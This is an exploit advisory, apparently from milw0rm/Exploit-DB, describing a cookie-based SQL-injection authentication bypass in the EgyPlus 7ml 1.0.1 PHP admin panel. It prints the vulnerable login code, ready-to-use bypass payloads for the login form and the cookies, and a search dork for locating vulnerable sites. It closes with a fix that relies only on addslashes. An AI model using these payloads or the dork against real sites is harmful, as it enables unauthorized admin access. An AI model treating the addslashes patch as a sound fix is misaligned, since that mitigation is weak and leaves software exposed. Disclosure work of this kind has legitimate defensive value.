EgyPlus 7ml 1.0.1 - Authentication Bypass

EDB-ID:

8865

Author:

Qabandi

Type:

webapps

Platform:

PHP

Published:

2009-06-03

                  ||          ||   | ||
           o_,_7 _||  . _o_7 _|| q_|_||  o_\\\_,
          (  :  /    (_)    /           (      .


=By: 	Qabandi
=Email:	iqa[a]hotmail.fr

	From Kuwait, PEACE...

=Vuln:		EgyPlus 7ml <= 1.0.1 - Cookie Auth Bypass SQL injection vulnerability (CABSIV)
=INFO:		http://egyplus.org/article-2.htm
=Download:  	http://traidnt.net/vb/attachment.php?attachmentid=252224&d=1211197439
=DORK:  	"Powered By EgyPlus"

                             _-=/:Conditions:\=-_
---------------------------------------------------------------------------------
; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = Off
--------------------------------------=_=---------------------------------------

                            _-=/:Vulnerable_Code:\=-_
---------------------------------------------------------------------------------
./cpanel/login.php::--

if($_COOKIE['username']){
$username = $_COOKIE['username']; <---- Not filtered
$password = $_COOKIE['password']; <---- Not filtered
}else{
$username = $_POST['username'];   <---- Not filtered
$password = $_POST['password'];   <---- Not filtered
}

$sql=$hazemali->query("select name,pass from admin where
name = '$username' and
pass = '$password' ");

$AdminInfo=$hazemali->num_rows($sql);

if($AdminInfo==1)  <---- Checks if MySQL statement is true then continues, FAIL...
{
---------------------------------------=_=--------------------------------------

                     _-=/:Proof-OF-Concept-or-Whatever:\=-_
---------------------------------------------------------------------------------
We have TWO ways to do this:

Login with these:

username: qabandi' or '1'='1
password: qabandi' or '1'='1


or we set cookies (longer version)
javascript:document.cookie = "username=qabandi' or '1'='1"
javascript:document.cookie = "password=qabandi' or '1'='1"
---------------------------------------=_=--------------------------------------

                            _-=/:SOLUTION:\=-_
---------------------------------------------------------------------------------
./cpanel/login.php::-- <== Change the code as following;

if($_COOKIE['username']){
$username = addslashes($_COOKIE['username']); <---- Filter with ADDSLASHES()
$password = addslashes($_COOKIE['password']); <---- Filter with ADDSLASHES()
}else{
$username = addslashes($_POST['username']); <---- Filter with ADDSLASHES()
$password = addslashes($_POST['password']); <---- Filter with ADDSLASHES()
}

$sql=$hazemali->query("select name,pass from admin where
name = '$username' and
pass = '$password' ");

$AdminInfo=$hazemali->num_rows($sql);

if($AdminInfo==1)
{
---------------------------------------=_=--------------------------------------

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-
-=-=-=-==Bdon-=-za3al=-=-shabab-=-=el-thaghra-=-mafe=--=Mnha=--=-faydeh-==-==-=-
-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-
-==-=-=-=-==-=-==-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=---=-==-=-==-=-=-=-=-=-=--
=-=-=-=-==-=-=-=-=-=-No----More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-
Salam to All Muslim Hackers.

# milw0rm.com [2009-06-03]